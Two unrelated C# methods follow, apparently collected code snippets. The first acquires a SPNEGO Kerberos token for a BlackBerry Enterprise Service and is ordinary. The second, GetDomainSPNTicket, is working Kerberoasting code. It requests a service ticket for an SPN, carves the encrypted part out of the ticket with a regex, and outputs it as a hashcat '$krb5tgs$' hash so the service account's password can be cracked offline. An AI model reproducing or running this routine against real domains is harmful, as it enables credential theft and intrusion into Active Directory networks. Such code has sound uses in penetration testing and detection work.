/// <summary> /// Acquire the SPNEGO token for the BlackBerry Enterprise Service using the currently logged in /// user's credentials and then Base 64 Encode the Token. /// </summary> /// <param name="kerberosRealm">The kerberos realm. It must be uppercase. /// It is usually equal to the uppercase of the domain.</param> /// <param name="bwsHostname">The address of the BlackBerry Enterprise Server hosting BWS.</param> /// <returns>Returns the base 64 encoded SPNEGO token for the currently logged in user.</returns> private static String getBase64EncodedSpnegoToken(String kerberosRealm, String bwsHostname) { String METHOD_NAME = "getBase64EncodedSpnegoToken"; logMessage("Entering {0}", METHOD_NAME); String returnValue = null; String servicePrincipal = "BASPLUGIN111/" + bwsHostname + "@" + kerberosRealm; byte[] token = null; try { KerberosRequestorSecurityToken krst = new KerberosRequestorSecurityToken(servicePrincipal); token = krst.GetRequest(); } catch (Exception e) { // Log and re-throw exception. logMessage("Exiting {0} with exception \"{1}\"", METHOD_NAME, e.Message); throw e; } // encode the token using Base64 encoding before returning it if (token != null) { returnValue = Convert.ToBase64String(token); } logMessage("Exiting {0} with {1}", METHOD_NAME, returnValue == null ? "null" : "a token"); return returnValue; }
public static void GetDomainSPNTicket(string samaccountname, string spn, string userName = "******", string distinguishedName = "")//, System.Net.NetworkCredential cred = null) { string domain = "DOMAIN"; if (Regex.IsMatch(distinguishedName, "^CN=.*", RegexOptions.IgnoreCase)) { // extract the domain name from the distinguishedname Match dnMatch = Regex.Match(distinguishedName, "(?<Domain>DC=.*)", RegexOptions.IgnoreCase); string domainDN = dnMatch.Groups["Domain"].ToString(); domain = domainDN.Replace("DC=", "").Replace(',', '.'); } try { if (debug) { Console.WriteLine("[DEBUG] (GetDomainSPNTicket) getting SPN ticket for SPN: {0}", spn); } System.IdentityModel.Tokens.KerberosRequestorSecurityToken ticket = new System.IdentityModel.Tokens.KerberosRequestorSecurityToken(spn, TokenImpersonationLevel.Impersonation, null, Guid.NewGuid().ToString()); byte[] requestBytes = ticket.GetRequest(); string ticketHexStream = BitConverter.ToString(requestBytes).Replace("-", ""); // janky regex to try to find the part of the service ticket we want Match match = Regex.Match(ticketHexStream, @"a382....3082....A0030201(?<EtypeLen>..)A1.{1,4}.......A282(?<CipherTextLen>....)........(?<DataToEnd>.+)", RegexOptions.IgnoreCase); if (match.Success) { // usually 23 byte eType = Convert.ToByte(match.Groups["EtypeLen"].ToString(), 16); int cipherTextLen = Convert.ToInt32(match.Groups["CipherTextLen"].ToString(), 16) - 4; string dataToEnd = match.Groups["DataToEnd"].ToString(); string cipherText = dataToEnd.Substring(0, cipherTextLen * 2); if (match.Groups["DataToEnd"].ToString().Substring(cipherTextLen * 2, 4) != "A482") { Console.WriteLine(" [X] Error parsing ciphertext for the SPN {0}. Use the TicketByteHexStream to extract the hash offline with Get-KerberoastHashFromAPReq.\r\n", spn); bool header = false; foreach (string line in Split(ticketHexStream, 80)) { if (!header) { Console.WriteLine("TicketHexStream : {0}", line); } else { Console.WriteLine(" {0}", line); } header = true; } Console.WriteLine(); } else { // output to hashcat format string hash = String.Format("$krb5tgs${0}$*{1}${2}${3}*${4}${5}", eType, userName, domain, spn, cipherText.Substring(0, 32), cipherText.Substring(32)); bool header = false; foreach (string line in Split(hash, 80)) { if (!header) { //Console.WriteLine("Hash : {0}", line); DateTime dtime = DateTime.Now; Console.WriteLine("{0}[{1}] Obtained service ticket and hash for SPN {2} ({3})", "".PadLeft(4), dtime.ToString("MM/dd/yyyy HH:mm:ss"), spn, samaccountname); } else { //Console.WriteLine(" {0}", line); } header = true; } //Console.WriteLine(); } } } catch (Exception ex) { //Console.WriteLine("\r\n [X] Error during request for SPN {0} : {1}\r\n", spn, ex.InnerException.Message); DateTime dtime = DateTime.Now; Console.WriteLine("{0}[{1}] Error obtaining service ticket and hash for SPN {2} ({3})", "".PadLeft(4), dtime.ToString("MM/dd/yyyy HH:mm:ss"), spn, samaccountname); Console.WriteLine(ex); } }